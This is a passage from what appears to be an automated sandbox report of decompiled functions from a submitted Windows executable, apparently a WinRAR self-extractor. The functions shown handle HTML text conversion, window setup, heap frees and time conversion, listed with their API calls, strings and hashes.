						_push(_t66);
						_t66 = E00258FF5(_t60, _t82);
					}
					_t72 = 9 + E002633F3(_t66) * 6;
					_t64 = GlobalAlloc(0x40, _t72);
					if(_t64 != 0) {
						_t13 = _t64 + 3; // 0x3
						if(WideCharToMultiByte(0xfde9, 0, _t66, 0xffffffff, _t13, _t72 - 3, 0, 0) == 0) {
							 *_t64 = 0;
						} else {
							 *_t64 = 0xbbef;
							 *((char*)(_t64 + 2)) = 0xbf;
						}
					}
					L0026340E(_t66);
					_t24 =  *0x2a1178(_t64, 1, _t75 + 0x14);
					if(_t24 >= 0) {
						E00258C91( *((intOrPtr*)(_t44 + 0x10)));
						_t38 =  *((intOrPtr*)(_t75 + 0x10));
						 *0x272260(_t38,  *((intOrPtr*)(_t75 + 0x10)));
						_t24 =  *((intOrPtr*)( *((intOrPtr*)( *_t38 + 8))))();
					}
					goto L16;
				} else {
					goto L3;
				}
				do {
					L3:
					_t70 = _t70 + 2;
					_t79 =  *_t70 - _t28;
				} while ( *_t70 == _t28);
				goto L4;
			}

0x00258db2
0x00258db2
0x00258db6
0x00258dbc
0x00258f03
0x00258f03
0x00258dc2
0x00258dc9
0x00258dd4
0x00258de4
0x00258de5
0x00258dea
0x00258df0
0x00258efd
0x00000000
0x00258efe
0x00258dfd
0x00258e08
0x00258e13
0x00258e18
0x00258e1b
0x00258e1f
0x00258e23
0x00258e2e
0x00258e36
0x00258e3d
0x00258e3f
0x00258e41
0x00258e45
0x00258e47
0x00258e47
0x00258e4c
0x00258e58
0x00258e60
0x00258e66
0x00258e67
0x00258e6c
0x00258e6e
0x00258e76
0x00258e76
0x00258e82
0x00258e8e
0x00258e92
0x00258e9c
0x00258eb1
0x00258ebe
0x00258eb3
0x00258eb3
0x00258eb8
0x00258eb8
0x00258eb1
0x00258ec2
0x00258ed0
0x00258ed9
0x00258ee4
0x00258ee9
0x00258ef5
0x00258efb
0x00258efb
0x00000000
0x00000000
0x00000000
0x00000000
0x00258e25
0x00258e25
0x00258e25
0x00258e28
0x00258e28
0x00000000

APIs

GlobalAlloc.KERNEL32(00000040,?), ref: 00258E88
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,00000000,000000FF,00000003,?,00000000,00000000), ref: 00258EA9

Strings

<head><meta http-equiv="content-type" content="text/html; charset=, xrefs: 00258E02
utf-8"></head>, xrefs: 00258E0D
<html>, xrefs: 00258DF7, 00258E30
</html>, xrefs: 00258E5A

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID: AllocByteCharGlobalMultiWide
String ID: </html>$<head><meta http-equiv="content-type" content="text/html; charset=$<html>$utf-8"></head>
API String ID: 3286310052-4209811716
Opcode ID: 4468098d39afda3bd0cbf415d5e899b705ec3e662be6742453d85d16fda59ab4
Instruction ID: bf0526afa28d39b33585b4eb2febc1f092f454ef89e2981302d653a26db0ff6f
Opcode Fuzzy Hash: 4468098d39afda3bd0cbf415d5e899b705ec3e662be6742453d85d16fda59ab4
Instruction Fuzzy Hash: A6314C315243127BD725AF20AC07F6B77A8EF45321F004419FD05A61D1EFB49A6D87AA

Uniqueness

Uniqueness Score: -1.00%

Function 002595B5 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 108
COMMON

Download Yara Rule

C-Code - Quality: 43%

			E002595B5(intOrPtr* __ecx, void* __eflags, intOrPtr _a4, struct HWND__* _a8, intOrPtr _a12, intOrPtr _a16, char _a20) {
				struct tagRECT _v16;
				intOrPtr _v28;
				intOrPtr _v36;
				void* __ebx;
				void* __edi;
				intOrPtr _t32;
				struct HWND__* _t43;
				intOrPtr* _t51;
				void* _t58;
				WCHAR* _t65;
				struct HWND__* _t66;

				_t66 = _a8;
				_t51 = __ecx;
				 *(__ecx + 8) = _t66;
				 *((char*)(__ecx + 0x26)) = _a20;
				ShowWindow(_t66, 0);
				E002592A4(_t51, _a4);
				if( *((intOrPtr*)(_t51 + 0x1c)) != 0) {
					L0026340E( *((intOrPtr*)(_t51 + 0x1c)));
				}
				if(_a12 != 0) {
					_push(_a12);
					_t32 = E00266F4C(_t51, _t58);
				} else {
					_t32 = 0;
				}
				 *((intOrPtr*)(_t51 + 0x1c)) = _t32;
				 *((intOrPtr*)(_t51 + 0x20)) = _a16;
				GetWindowRect(_t66,  &_v16);
				 *0x2a1108(0,  *0x2a1154(_t66,  &_v16, 2));
				if( *(_t51 + 4) != 0) {
					 *0x2a1110( *(_t51 + 4));
				}
				_t39 = _v36;
				_t19 = _t39 + 1; // 0x1
				_t43 =  *0x2a1118(0, L"RarHtmlClassName", 0, 0x40000000, _t19, _v36, _v28 - _v36 - 2, _v28 - _v36,  *0x2a1154(_t66, 0,  *_t51, _t51, _t58));
				 *(_t51 + 4) = _t43;
				if( *((intOrPtr*)(_t51 + 0x10)) != 0) {
					__eflags = _t43;
					if(_t43 != 0) {
						ShowWindow(_t43, 5);
						return  *0x2a110c( *(_t51 + 4));
					}
				} else {
					if(_t66 != 0 &&  *((intOrPtr*)(_t51 + 0x20)) == 0) {
						_t75 =  *((intOrPtr*)(_t51 + 0x1c));
						if( *((intOrPtr*)(_t51 + 0x1c)) != 0) {
							_t43 = E0025939C(_t51, _t75,  *((intOrPtr*)(_t51 + 0x1c)));
							_t65 = _t43;
							if(_t65 != 0) {
								ShowWindow(_t66, 5);
								SetWindowTextW(_t66, _t65);
								return L0026340E(_t65);
							}
						}
					}
				}
				return _t43;
			}

0x002595be
0x002595c2
0x002595c8
0x002595cb
0x002595ce
0x002595da
0x002595e3
0x002595e8
0x002595ed
0x002595f3
0x002595f9
0x002595fd
0x002595f5
0x002595f5
0x002595f5
0x00259603
0x0025960a
0x00259613
0x0025962a
0x00259634
0x00259639
0x00259639
0x0025963f
0x0025964d
0x0025967a
0x00259680
0x00259687
0x002596c1
0x002596c3
0x002596c8
0x00000000
0x002596d1
0x00259689
0x0025968b
0x00259692
0x00259695
0x0025969c
0x002596a1
0x002596a5
0x002596aa
0x002596b2
0x00000000
0x002596be
0x002596a5
0x00259695
0x0025968b
0x002596dd

APIs

ShowWindow.USER32(?,00000000), ref: 002595CE
GetWindowRect.USER32(?,00000000), ref: 00259613
ShowWindow.USER32(?,00000005,00000000), ref: 002596AA
SetWindowTextW.USER32(?,00000000), ref: 002596B2
ShowWindow.USER32(00000000,00000005), ref: 002596C8

Strings

RarHtmlClassName, xrefs: 00259674

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID: Window$Show$RectText
String ID: RarHtmlClassName
API String ID: 3937224194-1658105358
Opcode ID: 33a113892419e5cc7387017795be7966f1d3975485985ef2246f448b7afdda8e
Instruction ID: f884798580f6796bcccd971863d5de7d60d024d28358651fcb93ff141fdbfc2d
Opcode Fuzzy Hash: 33a113892419e5cc7387017795be7966f1d3975485985ef2246f448b7afdda8e
Instruction Fuzzy Hash: 8E31F271014310EFCB119F64EC4CB6BBBA8EF09322F044559FE4996152DB31D8A8CFA6

Uniqueness

Uniqueness Score: -1.00%

Function 0026BE84 Relevance: 10.6, APIs: 7, Instructions: 65
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E0026BE84(intOrPtr _a4) {
				void* _t18;

				_t45 = _a4;
				if(_a4 != 0) {
					E0026BE48(_t45, 7);
					E0026BE48(_t45 + 0x1c, 7);
					E0026BE48(_t45 + 0x38, 0xc);
					E0026BE48(_t45 + 0x68, 0xc);
					E0026BE48(_t45 + 0x98, 2);
					E0026835E( *((intOrPtr*)(_t45 + 0xa0)));
					E0026835E( *((intOrPtr*)(_t45 + 0xa4)));
					E0026835E( *((intOrPtr*)(_t45 + 0xa8)));
					E0026BE48(_t45 + 0xb4, 7);
					E0026BE48(_t45 + 0xd0, 7);
					E0026BE48(_t45 + 0xec, 0xc);
					E0026BE48(_t45 + 0x11c, 0xc);
					E0026BE48(_t45 + 0x14c, 2);
					E0026835E( *((intOrPtr*)(_t45 + 0x154)));
					E0026835E( *((intOrPtr*)(_t45 + 0x158)));
					E0026835E( *((intOrPtr*)(_t45 + 0x15c)));
					return E0026835E( *((intOrPtr*)(_t45 + 0x160)));
				}
				return _t18;
			}

0x0026be8a
0x0026be8f
0x0026be98
0x0026bea3
0x0026beae
0x0026beb9
0x0026bec7
0x0026bed2
0x0026bedd
0x0026bee8
0x0026bef6
0x0026bf04
0x0026bf15
0x0026bf23
0x0026bf31
0x0026bf3c
0x0026bf47
0x0026bf52
0x00000000
0x0026bf62
0x0026bf67

APIs

Part of subcall function 0026BE48: _free.LIBCMT ref: 0026BE71

_free.LIBCMT ref: 0026BED2

Part of subcall function 0026835E: RtlFreeHeap.NTDLL(00000000,00000000,?,0026BE76,?,00000000,?,00000000,?,0026BE9D,?,00000007,?,?,0026C29A,?), ref: 00268374
Part of subcall function 0026835E: GetLastError.KERNEL32(?,?,0026BE76,?,00000000,?,00000000,?,0026BE9D,?,00000007,?,?,0026C29A,?,?), ref: 00268386

_free.LIBCMT ref: 0026BEDD
_free.LIBCMT ref: 0026BEE8
_free.LIBCMT ref: 0026BF3C
_free.LIBCMT ref: 0026BF47
_free.LIBCMT ref: 0026BF52
_free.LIBCMT ref: 0026BF5D

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 356fc02368e4ecaa91237549490116c2f84ce8f596afca7e47be9645dca2cef3
Instruction ID: 368204977a36a3d5c2a51276e048d894e4a53c6803d88bab4bcf5e94bae3977f
Opcode Fuzzy Hash: 356fc02368e4ecaa91237549490116c2f84ce8f596afca7e47be9645dca2cef3
Instruction Fuzzy Hash: C5117F72560B08AAD622BBB0CC07FCB77DD6F08700F840C14B399A6152DB36B5F55E91

Uniqueness

Uniqueness Score: -1.00%

Function 00261F1A Relevance: 10.6, APIs: 7, Instructions: 60
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 95%

			E00261F1A(void* __ecx, void* __edx) {
				void* _t4;
				void* _t11;
				void* _t16;
				long _t26;
				void* _t29;

				if( *0x27d680 != 0xffffffff) {
					_t26 = GetLastError();
					_t11 = E0026314B(__eflags,  *0x27d680);
					__eflags = _t11 - 0xffffffff;
					if(_t11 == 0xffffffff) {
						L5:
						_t11 = 0;
					} else {
						__eflags = _t11;
						if(__eflags == 0) {
							_t4 = E00263185(__eflags,  *0x27d680, 0xffffffff);
							_pop(_t16);
							__eflags = _t4;
							if(_t4 != 0) {
								_t29 = E00268429(_t16, 1, 0x28);
								__eflags = _t29;
								if(__eflags == 0) {
									L8:
									_t11 = 0;
									E00263185(__eflags,  *0x27d680, 0);
								} else {
									__eflags = E00263185(__eflags,  *0x27d680, _t29);
									if(__eflags != 0) {
										_t11 = _t29;
										_t29 = 0;
										__eflags = 0;
									} else {
										goto L8;
									}
								}
								E0026835E(_t29);
							} else {
								goto L5;
							}
						}
					}
					SetLastError(_t26);
					return _t11;
				} else {
					return 0;
				}
			}

0x00261f21
0x00261f34
0x00261f3b
0x00261f3e
0x00261f41
0x00261f5a
0x00261f5a
0x00261f43
0x00261f43
0x00261f45
0x00261f4f
0x00261f55
0x00261f56
0x00261f58
0x00261f68
0x00261f6c
0x00261f6e
0x00261f82
0x00261f82
0x00261f8b
0x00261f70
0x00261f7e
0x00261f80
0x00261f94
0x00261f96
0x00261f96
0x00000000
0x00000000
0x00000000
0x00261f80
0x00261f99
0x00000000
0x00000000
0x00000000
0x00261f58
0x00261f45
0x00261fa1
0x00261fab
0x00261f23
0x00261f25
0x00261f25

APIs

GetLastError.KERNEL32(?,?,00261F11,0025F962), ref: 00261F28
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 00261F36
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00261F4F
SetLastError.KERNEL32(00000000,?,00261F11,0025F962), ref: 00261FA1

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 4de7ddda9c888968ec0f4c1da07102a0c4d294baf93b70952111c9c5cf3af2e8
Instruction ID: 134ac787db6288997ec6ee9f9c80ee3d8562828326382dcefeb37ac4891ae19f
Opcode Fuzzy Hash: 4de7ddda9c888968ec0f4c1da07102a0c4d294baf93b70952111c9c5cf3af2e8
Instruction Fuzzy Hash: CB01F73223C312AEA7243FB4BC8A52A27A8EF52771324072DF11C954F1EF626CF19954

Uniqueness

Uniqueness Score: -1.00%

Function 0025DAF0 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 50
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 77%

			E0025DAF0() {
				intOrPtr _t1;
				_Unknown_base(*)()* _t3;
				void* _t5;
				_Unknown_base(*)()* _t6;
				struct HINSTANCE__* _t14;

				_t1 =  *0x29fcc8;
				if(_t1 != 1) {
					if(_t1 == 0) {
						_t14 = GetModuleHandleW(L"KERNEL32.DLL");
						if(_t14 != 0) {
							_t3 = GetProcAddress(_t14, "AcquireSRWLockExclusive");
							if(_t3 == 0) {
								goto L5;
							} else {
								 *0x29fccc = _t3;
								_t6 = GetProcAddress(_t14, "ReleaseSRWLockExclusive");
								if(_t6 == 0) {
									goto L5;
								} else {
									 *0x29fcd0 = _t6;
								}
							}
						} else {
							L5:
							_t14 = 1;
						}
						asm("lock cmpxchg [edx], ecx");
						if(0 != 0 || _t14 != 1) {
							if(0 != 1) {
								_t5 = 1;
							} else {
								goto L12;
							}
						} else {
							L12:
							_t5 = 0;
						}
						return _t5;
					} else {
						return 1;
					}
				} else {
					return 0;
				}
			}

0x0025daf0
0x0025dafb
0x0025db03
0x0025db15
0x0025db19
0x0025db25
0x0025db2d
0x00000000
0x0025db2f
0x0025db35
0x0025db3a
0x0025db42
0x00000000
0x0025db44
0x0025db44
0x0025db44
0x0025db42
0x0025db1b
0x0025db1b
0x0025db1b
0x0025db1b
0x0025db52
0x0025db58
0x0025db60
0x0025db66
0x00000000
0x00000000
0x00000000
0x0025db62
0x0025db62
0x0025db62
0x0025db62
0x0025db6a
0x0025db05
0x0025db08
0x0025db08
0x0025dafd
0x0025db00
0x0025db00

Strings

AcquireSRWLockExclusive, xrefs: 0025DB1F
KERNEL32.DLL, xrefs: 0025DB0A
ReleaseSRWLockExclusive, xrefs: 0025DB2F

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID:
String ID: AcquireSRWLockExclusive$KERNEL32.DLL$ReleaseSRWLockExclusive
API String ID: 0-1718035505
Opcode ID: 4bd58ff967d5d3f3d640bcbcaee3f0d3ca18865a5192b139036ecdf237590bd4
Instruction ID: ee09ce1d9eb9705c2aa6d0f2e02ab3fd029da07e946d4bbb49b0d5efb99c59aa
Opcode Fuzzy Hash: 4bd58ff967d5d3f3d640bcbcaee3f0d3ca18865a5192b139036ecdf237590bd4
Instruction Fuzzy Hash: 9D01F9357712239B4FB09EB47C996A7139AAB1375B312803BEC01D3250D731C86CE7A8

Uniqueness

Uniqueness Score: -1.00%

Function 00250C1E Relevance: 9.1, APIs: 6, Instructions: 94
timeCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E00250C1E(intOrPtr* __ecx, intOrPtr __edx, intOrPtr* _a4) {
				struct _FILETIME _v12;
				struct _FILETIME _v20;
				struct _FILETIME _v28;
				struct _SYSTEMTIME _v44;
				struct _SYSTEMTIME _v60;
				struct _SYSTEMTIME _v76;
				intOrPtr _t47;
				intOrPtr _t61;
				intOrPtr* _t66;
				long _t72;
				intOrPtr _t73;
				intOrPtr* _t76;

				_t73 = __edx;
				_t66 = _a4;
				_t76 = __ecx;
				_v44.wYear =  *_t66;
				_t3 = _t66 + 4; // 0x8b550004
				_v44.wMonth =  *_t3;
				_t5 = _t66 + 8; // 0x48ec83ec
				_v44.wDay =  *_t5;
				_t7 = _t66 + 0xc; // 0x85d8b53
				_v44.wHour =  *_t7;
				_t9 = _t66 + 0x10; // 0xf18b5756
				_v44.wMinute =  *_t9;
				_t11 = _t66 + 0x14; // 0x66038b66
				_v44.wSecond =  *_t11;
				_v44.wMilliseconds = 0;
				_v44.wDayOfWeek = 0;
				if(SystemTimeToFileTime( &_v44,  &_v20) == 0) {
					 *_t76 = 0;
					 *((intOrPtr*)(_t76 + 4)) = 0;
				} else {
					if(E0024AC35() >= 0x600) {
						FileTimeToSystemTime( &_v20,  &_v60);
						__imp__TzSpecificLocalTimeToSystemTime(0,  &_v60,  &_v76);
						SystemTimeToFileTime( &_v76,  &_v12);
						SystemTimeToFileTime( &_v60,  &_v28);
						_t61 = _v12.dwHighDateTime + _v20.dwHighDateTime;
						asm("sbb eax, [ebp-0x14]");
						asm("sbb eax, edi");
						asm("adc eax, edi");
						_t72 = 0 - _v28.dwLowDateTime + _v12.dwLowDateTime + _v20.dwLowDateTime;
						asm("adc eax, edi");
					} else {
						LocalFileTimeToFileTime( &_v20,  &_v12);
						_t61 = _v12.dwHighDateTime;
						_t72 = _v12.dwLowDateTime;
					}
					 *_t76 = E0025E620(_t72, _t61, 0x64, 0);
					 *((intOrPtr*)(_t76 + 4)) = _t73;
				}
				_t36 = _t66 + 0x18; // 0x66d84589
				_t47 =  *_t36;
				 *_t76 =  *_t76 + _t47;
				asm("adc [esi+0x4], edi");
				return _t47;
			}

0x00250c1e
0x00250c25
0x00250c2a
0x00250c2f
0x00250c33
0x00250c37
0x00250c3b
0x00250c3f
0x00250c43
0x00250c47
0x00250c4b
0x00250c4f
0x00250c53
0x00250c57
0x00250c5d
0x00250c61
0x00250c75
0x00250d07
0x00250d09
0x00250c7b
0x00250c87
0x00250ca7
0x00250cb6
0x00250cc4
0x00250cd2
0x00250cdd
0x00250ce2
0x00250ce8
0x00250ced
0x00250cef
0x00250cf2
0x00250c89
0x00250c91
0x00250c97
0x00250c9a
0x00250c9a
0x00250cfe
0x00250d00
0x00250d00
0x00250d0c
0x00250d0c
0x00250d0f
0x00250d11
0x00250d1a

APIs

SystemTimeToFileTime.KERNEL32(?,?), ref: 00250C6D

Part of subcall function 0024AC35: GetVersionExW.KERNEL32(?), ref: 0024AC5A

LocalFileTimeToFileTime.KERNEL32(?,00250C18), ref: 00250C91
FileTimeToSystemTime.KERNEL32(?,?), ref: 00250CA7
TzSpecificLocalTimeToSystemTime.KERNEL32(00000000,?,?), ref: 00250CB6
SystemTimeToFileTime.KERNEL32(?,00250C18), ref: 00250CC4
SystemTimeToFileTime.KERNEL32(?,?), ref: 00250CD2

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID: Time$File$System$Local$SpecificVersion
String ID:
API String ID: 2092733347-0
Opcode ID: f6e01945bef855f9a7c425bac5a27c111affd389e9450fb7015e317824c2b305
Instruction ID: bfd5e7ab23ddd36d08199336512cd340805bfff8d4b2cb46569cd973a57dbe98
Opcode Fuzzy Hash: f6e01945bef855f9a7c425bac5a27c111affd389e9450fb7015e317824c2b305
Instruction Fuzzy Hash: 0A31FB7A91020ADBCB00DFE4D8849EFBBBCFF58701F04455AE919E3210E7309599CB69

Uniqueness

Uniqueness Score: -1.00%

Function 00259110 Relevance: 9.1, APIs: 6, Instructions: 89
COMMON

Download Yara Rule

C-Code - Quality: 81%

			E00259110(signed int _a4, intOrPtr _a8, signed int* _a12) {
				void* _t17;
				signed int _t23;
				void* _t26;
				signed int _t32;
				signed int* _t36;

				_t36 = _a12;
				if(_t36 != 0) {
					_t34 = _a8;
					_t26 = 0x10;
					if(E0025FC4A(_a8, 0x27438c, _t26) == 0) {
						L13:
						_t32 = _a4;
						 *_t36 = _t32;
						L14:
						 *0x272260(_t32);
						 *((intOrPtr*)( *((intOrPtr*)( *_t32 + 4))))();
						_t17 = 0;
						L16:
						return _t17;
					}
					if(E0025FC4A(_t34, 0x2743cc, _t26) != 0) {
						if(E0025FC4A(_t34, 0x2743ac, _t26) != 0) {
							if(E0025FC4A(_t34, 0x27437c, _t26) != 0) {
								if(E0025FC4A(_t34, 0x27441c, _t26) != 0) {
									if(E0025FC4A(_t34, 0x27436c, _t26) != 0) {
										 *_t36 =  *_t36 & 0x00000000;
										_t17 = 0x80004002;
										goto L16;
									}
									goto L13;
								}
								_t32 = _a4;
								_t23 = _t32 + 0x10;
								L11:
								asm("sbb ecx, ecx");
								 *_t36 =  ~_t32 & _t23;
								goto L14;
							}
							_t32 = _a4;
							_t23 = _t32 + 0xc;
							goto L11;
						}
						_t32 = _a4;
						_t23 = _t32 + 8;
						goto L11;
					}
					_t32 = _a4;
					_t23 = _t32 + 4;
					goto L11;
				}
				return 0x80004003;
			}

0x00259114
0x00259119
0x00259127
0x0025912c
0x0025913e
0x002591cd
0x002591cd
0x002591d0
0x002591d2
0x002591da
0x002591e0
0x002591e2
0x002591ee
0x00000000
0x002591ef
0x00259155
0x00259170
0x0025918b
0x002591a6
0x002591cb
0x002591e6
0x002591e9
0x00000000
0x002591e9
0x00000000
0x002591cb
0x002591a8
0x002591ab
0x002591ae
0x002591b2
0x002591b6
0x00000000
0x002591b6
0x0025918d
0x00259190
0x00000000
0x00259190
0x00259172
0x00259175
0x00000000
0x00259175
0x00259157
0x0025915a
0x00000000
0x0025915a
0x00000000

APIs

_memcmp.LIBVCRUNTIME ref: 00259134
_memcmp.LIBVCRUNTIME ref: 0025914B

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID: _memcmp
String ID:
API String ID: 2931989736-0
Opcode ID: 5fb23bfc2433fab27b065f4251212c201f83c886b93fdcc2cadd7e09695f91ea
Instruction ID: 90128d23783d9cf26db25030a8c1e548ac5f8a3f8b6e9c7fd62722dd6d6d7bd2
Opcode Fuzzy Hash: 5fb23bfc2433fab27b065f4251212c201f83c886b93fdcc2cadd7e09695f91ea
Instruction Fuzzy Hash: 6A21B27162451FEBD708AE10CD85E2B77ADAB55786B10C139FC0C9A202E370DDA996A8

Uniqueness

Uniqueness Score: -1.00%

Function 00268E25 Relevance: 9.0, APIs: 6, Instructions: 50
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 72%

			E00268E25(void* __ebx, void* __ecx, void* __edx) {
				void* __edi;
				void* __esi;
				intOrPtr _t2;
				void* _t3;
				void* _t4;
				intOrPtr _t9;
				void* _t11;
				void* _t20;
				void* _t21;
				void* _t23;
				void* _t25;
				void* _t27;
				void* _t29;
				void* _t31;
				void* _t32;
				long _t36;
				long _t37;
				void* _t40;

				_t29 = __edx;
				_t23 = __ecx;
				_t20 = __ebx;
				_t36 = GetLastError();
				_t2 =  *0x27d6ac; // 0x6
				_t42 = _t2 - 0xffffffff;
				if(_t2 == 0xffffffff) {
					L2:
					_t3 = E00268429(_t23, 1, 0x364);
					_t31 = _t3;
					_pop(_t25);
					if(_t31 != 0) {
						_t4 = E0026A4F1(_t25, _t36, __eflags,  *0x27d6ac, _t31);
						__eflags = _t4;
						if(_t4 != 0) {
							E00268C96(_t25, _t31, 0x2a0288);
							E0026835E(0);
							_t40 = _t40 + 0xc;
							__eflags = _t31;
							if(_t31 == 0) {
								goto L9;
							} else {
								goto L8;
							}
						} else {
							_push(_t31);
							goto L4;
						}
					} else {
						_push(_t3);
						L4:
						E0026835E();
						_pop(_t25);
						L9:
						SetLastError(_t36);
						E002683E6(_t20, _t29, _t31, _t36);
						asm("int3");
						_push(_t20);
						_push(_t36);
						_push(_t31);
						_t37 = GetLastError();
						_t21 = 0;
						_t9 =  *0x27d6ac; // 0x6
						_t45 = _t9 - 0xffffffff;
						if(_t9 == 0xffffffff) {
							L12:
							_t32 = E00268429(_t25, 1, 0x364);
							_pop(_t27);
							if(_t32 != 0) {
								_t11 = E0026A4F1(_t27, _t37, __eflags,  *0x27d6ac, _t32);
								__eflags = _t11;
								if(_t11 != 0) {
